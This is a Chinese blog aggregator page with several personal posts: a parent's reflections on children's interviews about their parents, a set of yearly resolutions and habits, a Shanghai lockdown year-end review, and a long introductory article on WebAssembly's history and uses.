- 博客 maxOS 2023-01-08 18:00:00人为了创造价值而生，而价值源于交易，交易在人与人之间建立起连接，创造了价值。高质量要求我们付出更多，但更重要的是高质量是建立在沟通之上，沟通/反馈的周期越短，信息越透明，我们越能了解彼此，连接的质量才能更好，交易才能创造更大的价值。
- 博客 二丫讲梵 2023-01-06 04:53:23如要阅读全文，点击标题跳转。学习周刊-总第88期-一个自建不蒜子的开源项目
- 博客 吕小荣的网志 2023-01-03 08:00:00
这个元旦读完了《少年发声》，一个心理咨询师根据访谈整理而成的书。来访者有点特殊，都是孩子，有的孩子还有强迫症和抑郁症。当然也有幸福的孩子主动参与访谈，夸赞自己的父母。
书中一个孩子兔球，常年缺乏爱和关心，看着她的哭诉，也勾起了我童年的回忆，心里也一阵酸楚，泪水也止不住的流。
也有孩子虽然稚嫩，开始反省自己的人生。与我们这些行尸走肉的成年人形成鲜明的对比。我们活着，但已经死了。他们稚嫩，灵魂却更丰满。未经审视的人生是不值得过的。
以下是让我印象深刻的节选。
孩子谈父母的比较
小依：我隐约记得小学二年级期末考了298分，300分满分，语文看图说话写错了一个词吧，结果被老妈拿来和一个300份的同学比。有段时间我都抬不起头，相当挫败的记忆。
小依：我和我同桌，都挺想读了大学以后不受家长控制，现在的家长都把孩子越养越远了。
孩子义愤填膺的谴责父母加作业
依依：我很生气！妈妈还给给我布置了另外的作业，哎。。。然后我写完了，她又给我布置，布置，布置，布置，布置！我写完作业，她也不让我出去玩，就让我在家自己玩。
麻利的孩子解释不拖拉的原因
小米：在学校的时间，我抓的非常紧，上课认真记笔记，课间会赶完不少作业。其实，这就是一个孩子简单的思路：早昨晚，早玩。前提是你昨晚功课，真的可以玩。而不是做完了以后，还有很多的功课。我小学一年级的时候，爸妈可能还没有挖掘出自己一套教育体系，还处于跟风状态，看别人怎么带孩子，他们也怎么带孩子，也给我布置课外作业。那时，我就故意把作业拖得很晚，这样就可以少做课外部份。不过后来他们就不给我布置课外作业了，也觉得没有必要。
畅畅：我写作业很快，有两大原因：第一个原因是我想着早点把作业做完，回家就能玩；第二个原因就是我和我的好朋友每天都比谁作业写的快，所以很早就把作业写完了。
孩子活的像提线木偶，放弃挣扎。
宣宣：我现在不是很想跟她沟通，因为沟通以后一点用处都没有，最后还是按照她的意见来，我还跟她沟通干吗？没什么可沟通的。现在我就感觉特别想笑，愤恨也有，但愤恨没有用啊。
宣宣：妈妈说什么，我就听着。以前我还会解释两句，现在我都不解释了，没什么好解释的。她说完以后，我就说：“说完了吗？说完了让我继续干我的事情吧，就别浪费时间了。”我现在都这么说。现在这样，我已经不想再去纠缠这些事了。
孩子称赞父母给予他们自主权
畅畅：前几天，我刚刚跟我妈妈提出来想报一个舞蹈班，目前还没有上课。
主持人：所以很多事情是等到你自己提出需求了，爸爸妈妈给你相应的资源，而不是说拽着你往前跑。
一个女孩子，哭诉被父母嫌弃。
兔球：我跟我的家人的关系不温不火，只能靠考试。可是不管我那一次考的比弟弟好，妈妈都不会夸我。小时候他总说我，“你咋这么傻”“蠢的像猪一样”“无能”“废物”。。。这些话让我充满恐惧。
兔球：准确的讲，我感受不到爱，我花了很多时间去治愈自己，孤独至极。我看了很多书，来麻痹和填补我那颗缺爱的心，卑微，自卑，没有尊严，我在现实世界和虚拟世界中一沉一浮，痛苦不堪，甚至希望所有人都死掉。
读后感
我也是一个父亲，看到这些孩子的心声，我要再次叮嘱自己，要对得起上天的委托。他把一个灵魂寄托到我家，是让我精心呵护，绽放出绚丽的生命。用爱做底色，用智慧去修剪，缺一不可。
- 博客 吕小荣的网志 2023-01-03 08:00:00
2023 年尝试的新方向
信仰
申命记：不可忘记你的主。
家庭
给别人自主权，改掉“好为人师”的臭毛病。允许别人犯错，允许糟糕的事情发声，克制自己的强烈的控制欲。
继续鼓励妻子每周和 Jaimie 用英文聊天，允许她犯错，允许她绕弯路，允许她按奇怪的方式学英语。她若不需要指点，我不要好为人师。
Nov 13, 2023:
- 她已经开始规律上英语课，坚持和 Jaimie 英文对话，开始聊菜谱。
- 她开始备考雅思，以考代练。
妻子开始承担教会财务的工作。我要克制，不要插嘴。
给沐沐学习更多的自主权，允许他犯错，低效，磨叽，绕弯路，非最优解。他若不需要帮助，我不要好为人师。他若寻求帮助，就给他提供最好的资源和支持。要沉得住气，一口气憋两年也要沉住气。
Nov 13, 2023:
这一年基本以鼓励和支持为主，放弃 Micro-management 以及监控式指导做作业。
一言九鼎，不给沐沐加作业，他做完作业就可以玩，早做完早玩。这样他不磨叽，我也不用唠叨。✅
维护家庭爱的氛围，营造彼此相爱的氛围可能需要一个月，毁了它只需要几分钟。说话态度，口气，音调，都需注意。
Nov 13, 2023:
妻子今年改变很大，她是我们家情绪的压舱石，她在家庭氛围的调节上功不可没，我基本没做什么贡献。
工作和学习
工作要对别人有益处。为客户创造价值，为社会创造价值。
-
做好集成 ✅
-
解决集成的 Resilience 的问题
博览代码，多阅读一些优秀的开源项目。只有多学习，才能解决 Resilience 的问题。
-
Kubernetes
目前的工作环境，暂时应该用不到 K8s，但是善始善终，还是把它学完吧，并且通过 K8s 的两个考试。
2011-2022 年沉淀下来的习惯
在对自己的观察中我发现了一个有趣的事：当生活的场景或地点发生变化时，稳定的行为模式会被打断，很难恢复，即使恢复也不完整。
为了对抗家族遗传性的高血脂，我一直低脂低盐饮食，过年 7 天假期我允许自己短暂的放纵，但是假期结束后我却忘记了低脂饮食的习惯。本来我每天坚持跑步 5km，得了新冠后，浑身乏力，无法运动。一个月后身体彻底康复，身体变得懒惰，不再愿意跑步。
旅游，过年，出差，让生活充满了新意，但也打断了循规蹈矩的生活，每次打断我都把自己弄丢了。这个文档快速帮自己找回自己，找回那个我所喜爱的循规蹈矩的自己。
信仰习惯
原则 打破原则的直接后果 (3-5 年) 打破原则的凄惨结局 (60 岁) 常常默想死亡 “假如只剩三年寿命，该做什么” 沉迷物质享受和虚浮的事物 没有反省的人生不值得活 写日记 三选一。全家人一起早晨听圣经；晚上一起敬拜；晚上一起祷告。 全家偏离信仰 健康习惯
原则 打破原则的直接后果 (3-5 年) 打破原则的凄惨结局 (60 岁) 能早起就早起，不能早起别勉强 每天早晨喝一大杯水 肾结晶加重，变为结石 打喷嚏时头后仰，保护颈椎。 颈椎病发作 中午 14:00 之后不要喝咖啡 睡的很浅，凌晨 4 点就会醒。更严重的话，彻夜失眠 记忆力下降，无法编程 左右手交替使用鼠标，一月一换 右侧手肘疼痛 左右交替使用磨牙进食，一月一换 单侧磨牙磨损，疼痛 不喝酒 前列腺不舒服 / 胃食管反流 老年后起夜增多，睡不好，折腾死自己 站立开会 久坐导致前列腺肥大 老年后起夜增多，睡不好，折腾死自己 工作 45 分钟，锻炼 15 分钟* 久坐导致前列腺肥大 老年后起夜增多，睡不好，折腾死自己 不吃豆腐乳 拉屎不痛快 吃饭慢嚼细咽 吃饭速度对胃食管反流影响非常大，是决定性因素，然后继发咽炎。 拉屎不看手机 痔疮发作 / 颈椎病发作 不吃香肠 肥胖/脂肪肝/家族遗传高血脂/胃食管反流烧心 脑梗/心梗，成为家庭的累赘 每天晚上跑步 5 km 肥胖/脂肪肝 脑梗/心梗，成为家庭的累赘 21:30 躺在床上，读书，讲故事，敬拜，闲聊 没有敬拜时间 偏离信仰，下地狱 工作间隙锻炼方式有：
- 半跪俯卧撑
- 引体向上
- 卷腹
- 无负重下蹲 squat
- 提肛 20 个
- 收下巴锻炼颈椎
- 臀桥
家庭习惯
- 时时刻刻维护家里爱的氛围，说话态度，口气，都需操练。爱能遮盖很多的矛盾。（女人感受不到爱，就会拆台，这是我过去几年忽视的一个变量。）
- always hope. 多鼓励家人的闪光点，少打击家人的缺点。
- 每个季度回一趟老家，看望爸爸妈妈爷爷奶奶
- 中午独自吃饭时，和奶奶聊聊天
- 每周给我爸妈打个电话
- 多储蓄
- 不需要的东西，一分钱都不要花。打折省 20%，不买省 100%。
- 不要高估钱财的作用，它并不可靠。战争/屠杀/文革随时有可能发生，没有绝对安全。
- 家中富足睡不安稳，不如穷乏却睡的香甜。
学习习惯
- 下午四点没事的话，背单词，复习 Anki 中的卡片。
教会习惯
- 即使知道大部分人都是虎头蛇尾，即使自己是个悲观者，也要多鼓励，少挖苦。你如何鼓励自己的儿子，在教会里也要如此鼓励别人。
- 人都是刺猬，爱彼此越深，伤害越深，不要因为伤害就对关系失望和退缩。
推迟到 2024 年的一些事情
Q1
从雪盈迁移回 IBKR，彻底废弃雪盈账户。 ✅
Q2
Q3
先换快过期的护照，再刷签证，节省时间和精力。
2024 年 11 月 11 日可以申请换护照
2024 年 12 月份给全家人刷签证
- 日本 5 年签
- 韩国 5 年签
- 全家人的加拿大签证
历史回顾
- 博客 二丫讲梵 2023-01-02 19:13:06如要阅读全文，点击标题跳转。学习周刊-总第87期-一个能够ssh到action容器的debug方式
- 博客 二丫讲梵 2023-01-02 03:48:42如要阅读全文，点击标题跳转。我的2022年年终总结
- 博客 构建我的被动收入 2023-01-01 08:00:00被动收入投资组合2022年Q4季报
- 博客 Jiajun的编程随想 2022-12-31 08:00:00《2022年终总结》2022年是忙碌的一年，也是收获满满的一年。今年的博客比往年又要少，一则是太忙了没有时间，二则是太水的文章也没有很大的意义，以后也是如此，希望能够越钻越深，产出有质量的文章...
- 博客 王子亭的博客 2022-12-31 01:00:00
2022 年疫情防控愈演愈烈，我们从三月开始经历了两个多月足不出户的严格封控。上海的封城可以说是非常严格，在一开始的半个月中物资供应受到了不小的影响，无法买到自己想要的食物，而除此之外的非生活必需品，更是直到六月解封才恢复正常。就在这样荒诞、焦虑和对未来的不确定的情绪中，我们浑浑噩噩地度过了这两个月。
但好在封城的这段时间我下定了决心要把英语学好，相比于之前几年断断续续、晒网多过打渔的学习，今年虽算不上高强度，但至少是持续性地在学习。我大量地增加了英文内容的输入：全部改听英文播客、对于英文视频直接看原视频而不是翻译、阅读英文的技术书籍和博客。为了弥补我词汇量的短板开始改用英英字典，除了去查见到的每一个单词之外，也专门背了一些单词。我甚至在封城期间甚至报名了一个线上的英文课程，但随着封城的结束生活回到正规，也因为工作方面的变化，这个课程并没有上完。
封城结束后，上海则开始要求 72 小时的核酸阴性证明，我们也开始了差不多两天一次核酸检测的生活。在此之前我只在去年和公司一起去桂林时做过 2 次核酸检测，而在今年一年我们就做了超过 100 次的核酸检测。但即使是这样，因为奥密克戎极强的传染性，在接近年底时，「动态清零」变得越来越难以持续下去，终于在 12 月 7 日随着「新十条」的发布，接近三年的疫情防控措施划上了一个句号，大家很快地就回到了正常的生活轨迹。
在「新十条」发布后，我和蛋黄马上就计划了去沈阳的行程，在沈阳领了结婚证。因为我们彼此早已确认我们会一直生活在一起；因为无论是客观原因，还是我们自己都不希望婚姻是很多人说的「两个家庭的事情」 ，而就是我们两个人的事情；也因为我们都很清楚接下来我们会有更大的挑战要面对，所以结婚这件事更像是我们旅途上的一个小站点 —— 然后就在我还没来得及回味更多时，在沈阳的最后一天我开始发烧，第二天顶着高烧回到了家里，之后通过抗原检测 确认了是新冠感染，这趟行程是如此地匆忙，等回过神来已经到了 2023 年。
三年的疫情重塑了我们每个人对于「风险」的认知，有人会冒着隔离和封城的风险继续旅行，也有的人会选择留在熟悉的城市或稳定的工作。随着阅历的增加，我们能越来越全面地预料到一件事情的风险，或者说其实去做每件事情都是有风险的。总的来说我觉得我自己在这三年中表现得过于谨慎，而我本来不应该是这样一个畏首畏尾的人。
这一年工作上面也发生了很多变化，很多一起工作多年的同事离开了我们。在外部环境好的时候大家当然都很开心，但当大公司面临压力时，这种压力自上而下传导时就会走样，好不容易建立的文化也会很快地被破坏掉。总的来说这一年的工作让我觉得不是很有成就感，花费了很多时间在难以对自己、公司或社会产生价值的事情上。在接下来的一年中，我希望自己能将之前仍有维护价值的 side project 捡起来，同时在开始新的项目时能够快速试错，用上我这么多年积累的工程经验，看看能否在几年内实现我理想中的自由职业。
今年我购买了我的第一台可更换镜头的相机 EOS M6 Mark II 和几支镜头，也拍摄了很多照片。此前我的照片一直是放在 iCloud 上的，编辑、整理、同步的体验非常好，但随着照片接近 200G 的容量上限，我花了一些时间去 寻找基于 NAS 的管理方案。但这些方案和 Photos 的差距实在是太大，再加上 iCloud 发布了 Shared Photo Library 和 Advanced Data Protection，最后我还是选择了升到 2T 继续用，NAS 仅作为备份使用。在近几年我开始越来越喜欢拍照，除了每张照片都是一个创作的过程中之外，整个照片库也是一个有关数字化的回忆的作品，所以我一直很重视照片库的管理，也是为什么只有 Photos 能够达到我的需求。
此外今年还购买了我的第一个全面屏手机 iPhone 13 mini 和 Steam Deck，也遇到了 Persona 5 这样相见恨晚的游戏，算是这沉重的一年中的一点色彩。
- 博客 晚晴幽草轩 2022-12-30 21:21:00
WebAssembly 堪称一个革命性的技术，它给 Web 带来了更多的可能性，对于 CPU 密集型的应用，比如图片、音频、视频、直播、机器学习、AR、VR、游戏、在线会议、在线文档、在线 IDE、在线游戏等等，WebAssembly 既可以帮助 Web 突破性能瓶颈，也可以让 Web 得以利用其他语言的代码库。随着越来越多业务跟服务转战云端，基于 Web 本身优势，外有 WebAssembly 技术性能加持，在可预见的未来，WebAssembly 可让 Web 再次绽放。
WebAssembly 历史起源
WebAssembly 起源于 Mozilla 员工的一个业余项目。2010 年，在 Mozilla 从事 Android Firefox 开发的 Alon Zakai，为了把他以前开发的游戏引擎移植到浏览器上运行，利用业余时间开发了一款名叫 Emscripten 的编译器，可以把 C++ 代码通过 LLVM IR 编译成 JavaScript 代码。
到了 2011 年底，Emscripten 甚至能够成功编译 Python 和 Doom 等大型 C++ 项目，Mozilla 此时觉得这个项目很有前途，于是成立团队并邀请 Alon 全职开发这个项目。2013 年 Alon 和其他成员一起提出了 asm.js 规范，asm.js 是 JavaScript 语言的一个严格子集，试图通过“减少动态特性”和”添加类型提示“的方式帮助浏览器提升 JavaScript 优化空间。相较于完整的 JavaScript 语言，裁剪后的 asm.js 更靠近底层，更适合作为编译器目标语言。
asm.js 只提供两种数据类型：32 位带符号整数，64 位带符号浮点数，其他数据类型比如字符串、布尔值或者对象，asm.js 一概不提供，它们都是以数值的形式存在，保存在内存中，通过 TypedArray 调用。类型的声明也有固定写法：
变量 | 0表示整数，+变量表示浮点数。例如下面一段代码：123456789function MyAsmModule() {"use asm"; // 告诉浏览器这是个 asm.js 模块function add(x, y) {x = x | 0; // 变量 | 0 表示整数y = y | 0;return (x + y) | 0;}return { add: add };}支持 asm.js 的引擎提前识别出了类型，可以进行激进的 JIT（即时编译）优化，甚至是 AOT（事先编译）编译，大幅提升性能。不支持 asm.js 按普通 JavaScript 代码执行也不会影响运行结果。
但是 asm.js 的缺点也很明显，那就是“底层”得不够彻底，例如代码仍然是文本格式；代码编写仍然受 JavaScript 语法限制；浏览器仍然需要完成解析脚本、解释执行、收集性能指标、JIT 编译等一系列步骤。如果采用像 Java 类文件那样的二进制格式，不仅能缩小文件体积，减少网络传输时间和解析时间，还能选用更接近机器的字节码，这样 AOT/JIT 编译器实现起来会更轻松，效果也更好。
与此同时，Google 的 Chrome 团队也在试图解决 JavaScript 性能问题，但方向有所不同。Chrome 给出的解决方案是 NaCl（Google Native Client）和 PNaCl（Portable NaCl）。通过 NaCl/PNaC1，Chrome 浏览器可以在沙箱环境中直接执行本地代码。
asm.js 和 NaCl/PNaC1 技术各有优缺点，二者可以取长补短。Mozilla 和 Google 也看到了这一点，所以从 2013 年开始，两个团队就经常交流和合作。后来他们决定结合两个项目的长处，合作开发一种基于字节码的技术。到了 2015 年，“WebAssembly” 确定为正式名称并对外公开，W3C 成立了 WASM 社区小组（成员包括 Chrome、Edge、Firefox 和 WebKit），致力于推动 WASM 技术的发展。
- 2016 年 Rust 1.14 发布，开始支持 WASM。
- 2017 年 Google 决定放弃 PNaCl 技术；四大浏览器 Chrome、Edge、Safari、Firefox 更新版本开始支持 WASM。
- 2018 年 Go 1.11 发布，开始支持 WASM。
- 2019 年 Emscripten 更新为默认使用 LLVM 编译为 WASM 代码，停止对 asm.js 的支持；WebAssembly 成为万维网联盟（W3C）的推荐标准，与 HTML，CSS 和 JavaScript 一起成为 Web 的第四种语言。
- 2021 年 1 月 6 日，Wasmer（🚀支持 WASI 和 Emscripten 的领先 WebAssembly 运行时） 1.0.0 版本发布。
- 2022 年 09 月 20，Wasmtime（WebAssembly 的快速安全运行时） 的官方 1.0 版本发布。
全面认识 WebAssembly
WebAssembly 诞生背景
Web 平台的成熟催生了复杂而苛刻的网络应用，如交互式三维可视化，音频和视频软件，以及游戏。随着伴随着这一点，Web 上代码的效率和安全性变得比以往更加重要。然而，作为唯一的网络内置语言——JavaScript 并没有很好地满足这些要求，特别是作为编译目标。来自四个主要浏览器供应商的工程师们迎接挑战，合作设计了一个可移植的低级字节码，称为 WebAssembly 。它提供了紧凑的表示、高效的验证和编译，以及安全的低至无开销的执行。WebAssembly 不是致力于一个特定的编程模型，而是 WebAssembly 是对现代硬件的抽象，使其与语言、硬件和平台无关，其使用范围不只是 Web 浏览器；就目前而言，Node.js、Deno、 WebAssembly 运行时 等环境都可使用。
WebAssembly 是什么？
WebAssembly 是一种新的编码方式，可以在现代的网络浏览器中运行 － 它是一种低级的类汇编语言，具有紧凑的二进制格式，可以接近原生的性能运行，并为诸如 C / C ++ 等语言提供一个编译目标，以便它们可以在 Web 上运行。它也被设计为可以与 JavaScript 共存，允许两者一起工作。WebAssembly 是可移植、体积小、加载快并且兼容 Web 浏览器的全新类汇编语言格式，其具有高效、安全、开放、标准等特性。
WebAssembly （缩写为Wasm）是基于堆栈的虚拟机的二进制指令格式。其设计目的不是为手写代码，而是为诸如 C、C++、Rust 等低级语言提供一个高效的、可移植的编译目标，支持在 Web 上部署客户端和服务器应用程序。
WebAssembly 试图取代 JavaScript 吗？
不会。在 WebAssembly 常见问题 中，作者给出了明确说明：“WebAssembly 旨在补充而非替代 JavaScript。随着时间的推移，WebAssembly 将允许许多语言被编译到 Web，而 JavaScript 具有令人难以置信的势头，并将继续保持 Web 的单一、特权（ 如上所述 ）动态语言。此外，预计 JavaScript 和 WebAssembly 将在许多配置中一起使用”。
理解 WebAssembly 文件格式
- 源代码（source code）：由开发者基于 JavaScript、TypeScript 等编程语言直接提供，主要用来给人类阅读、维护的文本格式。即便是压缩、混淆后，依然是文本格式。
- AST：抽象语法树（Abstract Syntax Tree，AST），或简称语法树（Syntax tree），是源代码语法结构的一种抽象表示。它以树状的形式表现编程语言的语法结构，树上的每个节点都表示源代码中的一种结构。之所以说语法是“抽象”的，是因为这里的语法，并不会表示出真实语法中出现的每个细节。
- 汇编代码：（Assembly Code），是介于高级语言和机器码之间的一种中间语言（也是人看的懂的语言）。它比机器代码高一级，比高级语言低一级。而且，它的语法类似于英语，但比高级编程语言更难。它经过转译最终也会成为机器码，所以抽象上来说，它和字节码是同一级别的。可以简单将其理解为机器语言的助记符，便于人们理解和记忆。像用地址符号（Symbol）或标号（Label）代替指令或操作数的地址，常见的 x86 汇编指令有 MOV、PUSH、POP 等。
- 字节码：（Byte Code）是一种包含
执行程序、由一序列OP 代码(操作码)/数据对组成的二进制文件。 字节码是一种中间码，它比机器码更抽象，需要直译器转译后才能成为机器码的中间代码（通常不是人类可读的语言）。 - 机器码：(Machine Code)，学名
机器语言指令，有时也被称为原生码（Native Code），是电脑的CPU 可直接解读的数据（即计算机只认识 0 和 1）。 - WebAssembly 文本格式 ：推荐扩展名是
.wat（WebAssembly Text Format），是另外一种输出格式，是使用 “S- 表达式” 的文本格式，可以近似理解为与二进制等价的汇编代码。部分浏览器的开发者工具支持将 WASM 转换成 WAT 查看，便于在线调试。社区提供了wasm2wat和wat2wasm等成熟的工具将二者进行转换，可以在 WebAssembly/wabt (WebAssembly Binary Toolkit) 工具集中找到，所以也是可以直接编写 WAT 再转换成 WASM。 - WebAssembly 二进制格式（
.wasm） ：WebAssembly 的最终形式，是一种低级字节码，基于 16 进制表示；无需解析，只要解码并且检查确认代码，即可编译为机器码。 - WASI：(WebAssembly System Interface)，一种与不同操作系统通信统一标准；它是为 WASM 专门设计一套引擎无关（engine-indepent）、面向非 Web 系统（non-Web system-oriented）的 API 标准；遵循可移植性、安全性两大原则。WASI 在 WASM 字节码与虚拟机之间，增加了一层“系统调用抽象层”。
WebAssembly 优缺点
从 WebAssembly 诞生背景及目标来看，它所要解决的是 JavaScript 语言本身限制，不足以应对 CPU 密集型应用的问题。因此，优缺点比较对象是 JavaScript、以及 Native Client 和 asm.js 等尝试“解决 Web 上安全快速代码”的方案。
Native Client：是一个沙箱，用于在浏览器中高效、安全地运行已编译的 C 和 C++ 代码，独立于用户的操作系统。它已于 2020 年弃用，支持将于 2021 年 6 月结束。
Asm.js：代码在很多方面类似于 C，但它仍然是可以在所有当前引擎中运行的完全有效的 JavaScript。Firefox 是目前唯一可以做到这一点的浏览器。已被弃用。WebAssembly VS JavaScript 优点
更好性能
- 下载：
- JS 是高级语言，便于开发者阅读和编写，文件体积比汇编语言大。
- WebAssembly 不是设计用于手动编写的，也不是供人类阅读的。代码被编译为 WebAssembly 之后，字节码会以二进制格式而不是文本格式表示，这可以减小文件大小，从而支持快速传输和下载。
- 解析/解码：
- JS 需要先通过词法分析、语法分析生成 AST，然后再由 AST 生成字节码。
- WebAssembly 是一种字节码，不需要进行解析，只需要解码并且检查确认代码没有错误就可以了。
- 编译（优化、反优化）：
- JS 是弱语言类型，无法预知变量类型。JIT 监测热点代码，在代码执行若干次后，优化编译器才将其编译为机器码并优化。如果数据类型被动态修改，优化编译器会进行反优化，下次执行时会回退到解释器解释执行。
- WebAssembly 代码是静态类型的，即可以预知变量持有的值的类型。WebAssembly 代码可以从一开始就编译为机器码，无须先监测，因此第一次运行代码就可以看到性能提升。WebAssembly 更接近机器码，在编译阶段不需要做太多的优化；WebAssembly 代码的类型是确定的，不存反优化的阶段。
- WebAssembly 二进制文件的设计方式使得模块验证可以在一轮内完成，其结构也支持并行编译文件的不同部分。
- 浏览器厂商引入了流编译技术，在浏览器下载和接收文件时，该技术可以将 WebAssembly 代码编译为机器码。流编译支持 WebAssembly 模块下载完毕，即进行初始化，这样会显著加速模块的启动过程。
- 执行：
- JS 是一种编程语言，更注重开发效率和代码可读性，开发者编写的代码不一定能发挥 JIT （just-in-time） 的优化机制。
- WebAssembly 被设计为编译目标，专注于提供更加理想的指令（执行效率更高的指令）给机器，执行效率更高。
- 垃圾回收：
- JS 引擎会自动进行垃圾回收，垃圾回收可能会在一个不合适的时机启动并造成性能损耗。大多数浏览器已经能给垃圾回收安排一个合理的启动时间，但还是会增加性能开销。
- WebAssembly 不支持垃圾回收，内存操作都是手动控制的（像 C、C++一样），性能由开发者控制。
便携且安全
WebAssembly 独立于平台、独立于硬件和独立于语言，它对设备或浏览器没有任何特殊要求，这增强了其便携性；其设计原则是与其他 Web 技术和谐共处，并保持向后兼容。代码在内存安全的沙盒环境中进行验证和执行，可以防止安全漏洞和数据损坏。此外，像其他 Web 代码一样，它遵循浏览器的同源策略和授权策略。
支持多线程
WebAssembly 不直接支持多线程。但是，WebAssembly 程序可以在宿主环境中执行，这个宿主环境可能支持多线程。因此，WebAssembly 程序间可以通过宿主环境来协调多线程（通过 Web Worker、共享线性内存
SharedArrayBuffer、 WebAssembly atomics ）。详情可参见文章： Using WebAssembly threads from C, C++ and Rust 。集成已有库
如果应用程序使用
C/C++、Rust 或任何其他兼容语言，WebAssembly 可以轻松地将代码或桌面应用程序用于 Web。如今（2022 年 12 月）生态已经非常丰富，除了用于 Rust 的wasm-pack和用于C/C++的Emscripten之外，还有 AssemblyScript 、 TinyGo 凡此种种，详情可参见： Awesome Wasm Compilers 。WebAssembly VS JavaScript 缺陷
尽管 WebAssembly 具有很多优点，但目前仍存在些缺陷，譬如：
- 旧浏览器不支持：它只能在支持 WebAssembly 的浏览器（或
runtime）中运行；倘若环境不支持，需要使用其他方式来实现（假如要考虑兼容）； - 不能直接访问 DOM：WebAssembly 目前还不能直接访问浏览器的 DOM 元素；如果代码要访问浏览器 DOM，需要调用 JavaScript 方法来实现（ 已有计划实现 ）；
- 存在局限：比起 JavaScript，编写相关代码不够灵活，需要经过编译；需要手动分配内存，且缺少用于自动内存管理的垃圾收集 (GC)（尽管有计划添加 GC）；
显而易见，没有技术会是银弹，只有把技术放在适用的场景下才能达到事半功倍的效果；在开发效率，与运行效率两者之间，无法同时做到最优；根据不同环境、需求，做平衡才是更优的选择。因此，除了计划解决的部分，WebAssembly 携带部分缺陷在所难免；毕竟它是对 JavaScript 的补充。
WebAssembly 应用场景
WASM 并不是为了优化您的网站，而是为了在执行以下任务时将浏览器（和服务器端运行时，如 Node.js、Deno）提升到一个新的水平：
- 机器学习：TensorFlow.js；
- 视频编辑：Clipchamp、Mastershot；
- 实时合作编辑：Figma；
- 游戏开发：Unity Web；
- AR/VR 直播应用：（非常低的延迟）；
- 音乐编辑和流媒体： FFMPEG.WASM ；
- 平台仿真：AutoCAD、Google Earth；
- 加密解密：JSVMP（编译及二进制特性）；
- 开发工具：vim web、SQLlite web；
- 图像识别及处理： Squoosh.app ，多线程客户端图像压缩；
- 开发人员工具：（编辑器、编译器、调试器……）；
- 代替 JavaScript 框架：Yew、Blazor、Tokamak、Prism；
- …….
更多使用场景可参见： WebAssembly Use Cases ；任何需要大量编码和大量性能调整的事物，都是 WASM 的完美用例。如需使用 WASM 的开源项目列表，您可以访问 Made with WebAssembly 这个社区。下面是些声名远扬的项目：
- Tensorflow ：是将 AI 和 ML 带给 JS 开发人员的主要库之一；在它 添加了 wasm 后端支持后 ，与普通 JS 版本相比，模型的性能平均提高了 10 倍。
- Unity ：作为主要的游戏开发引擎之一，它能够将您的项目导出为与 Web 兼容。从 2018 年开始，这个过程是通过 编译成 WebAssembly 来完成的。这是正确使用 WASM 的强大功能的完美示例。
- Google Earth ：该产品已经存在超过 15 年，曾经是一个桌面应用程序。 现在感谢 WASM，他们通过将旧代码编译为 WASM 将其 移植到网络中（就像 Autodesk 为其 CAD 应用程序所做的一样）。
- Yew ：有没有想过将 Rust 用于您的网络应用程序？现在你可以了，感谢 Yew 和 Web Assembly 给我们带来的力量。你不仅可以将 Rust 用于你的 UI，而且这个框架还提供了一个多线程环境来工作。Github 拥有 26kb Star（备注：目前还不是 1.0。准备好因破坏 API 更改而进行重大重构）。
- Blazor ：构建美观的 Web 应用，使用 .NET 和 C# 的强大功能构建全栈 Web 应用程序，而无需编写一行 JavaScript。生态可参见 awesome-blazor 。
- Pyodide ：是基于 WebAssembly 的浏览器和 Node.js 的 Python 发行版。
WebAssembly 主要的几个概念
为了理解 WebAssembly 是如何在 Web 运行的，需要了解几个关键概念：
- Instance ：一个包含它在运行时用到的所有状态，包含 Memory、Table、以及一系列导入值的 Module，一个 Instance 类似一个 ES2015 的模块，它被加载到具有特定导入集的特定全局变量中
- Module ：通过浏览器编译成为可执行机器码的 WebAssembly 二进制文件，Module 是无状态的，类似 Blob，能够在 Window 和 Worker 之间通过
postMessage共享，一个 Module 声明了类似 ES2015 模块类似的 import 和 export。 - Memory ：一个可调整大小的 ArrayBuffer，其中包含由 WebAssembly 的低层次内存访问指令读取和写入的线性字节数组。
- Table ：一个可调整大小的类型化引用数组（如函数），然而处于安全和可移植性的原因，不能作为原始字节存储在内存中。
WebAssembly 的 JavaScript API 提供给开发者创建 Module、Memory、Table 和 Instance 的能力，给定一个 WebAssembly 的 Instance，JS 代码可以同步的调用它的 exports – 被作为普通的 JavaScript 函数导出。任意 JavaScript 函数可以被 WebAssembly 代码同步的调用，通过将 JavaScript 函数作为 imports 传给 WebAssembly Instance。
因为 JavaScript 能够完全控制 WebAssembly 代码的下载、编译和运行，所以 JavaScript 开发者可以认为 WebAssembly 只是 JavaScript 的一个新特性：可以高效的生成高性能的函数。
12import {foo} from "./myModule.wasm";foo();在未来， WebAssembly 模块可以以 ES2015 的模块加载形式加载，如通过
import或<script type="module">，意味着 JS 可以获取、编译、和导入一个 WebAssembly 模块，就像导入 ES2015 模块一样简单。详见： WebAssembly 的 ES 模块集成提案 。如何在应用里使用 WebAssembly？
WebAssembly 给 Web 平台添加了两块内容：一种二进制格式代码，以及一系列可用于加载和执行二进制代码的 API。时值 2022 年，生态已颇具规模，详情可参见： Awesome Wasm ；主要流行的入口有：
- 使用 EMScripten 来移植 C / C++ 应用；
- 编写 Rust 应用，然后将 WebAssembly 作为它的输出；
- 使用 AssemblyScript ，它是一门类似 TypeScript 的语言，能够编译成 WebAssembly 二进制；
对于 Web 开发者来说，可是使用类 TypeScript 的形式来尝试 WebAssembly 的编写，而不需要学习 C 或 Rust 的细节，那么 AssemblyScript 或将会是最好的选择。AssemblyScript 将 TypeScript 的变体编译为 WebAssembly，使得 Web 开发者可以使用 TypeScript 兼容的工具链，例如 Prettier 、VSCode Intellisense，你可以查看 AssemblyScript 文档 来了解如何使用。
补充说明，如今已有大量的工具库被编译为 WebAssembly，并做了封装；譬如 Photon （一个高性能的 Rust 图像处理库，它编译为 WebAssembly，允许在本地和 Web 上进行安全、快速的图像处理），其使用方式与其他 npm 包没有区别；在基于 Vue3 开发的作品： 玉桃文飨轩 中就有使用，如您感兴趣，可移步源码实现： markdown2png 。
参考资料及资源网站
资源网站
- WebAssembly 官网网站 ；
- WebAssembly Package Manager ：WebAssembly 包管理器。类似于 npm 之于 Node.js。
- bytecodealliance/wasmtime ：A fast and secure runtime for WebAssembly；
- emscripten-core/emsdk ：Emscripten 工具链作为独立的 Emscripten SDK 分发。
- WebAssembly Org - GitHub ：Development of WebAssembly and associated infrastructure；
- GoogleChromeLabs/wasm-feature-detect ：一个小型库，用于检测支持哪些 WebAssembly 功能。
- Emscripten Tutorial ：Emscripten 是WebAssembly的完整开源编译器工具链。
- wasmerio/wasmer-python ：基于 Wasmer 的完整成熟的 Python WebAssembly 运行时。
参考资料
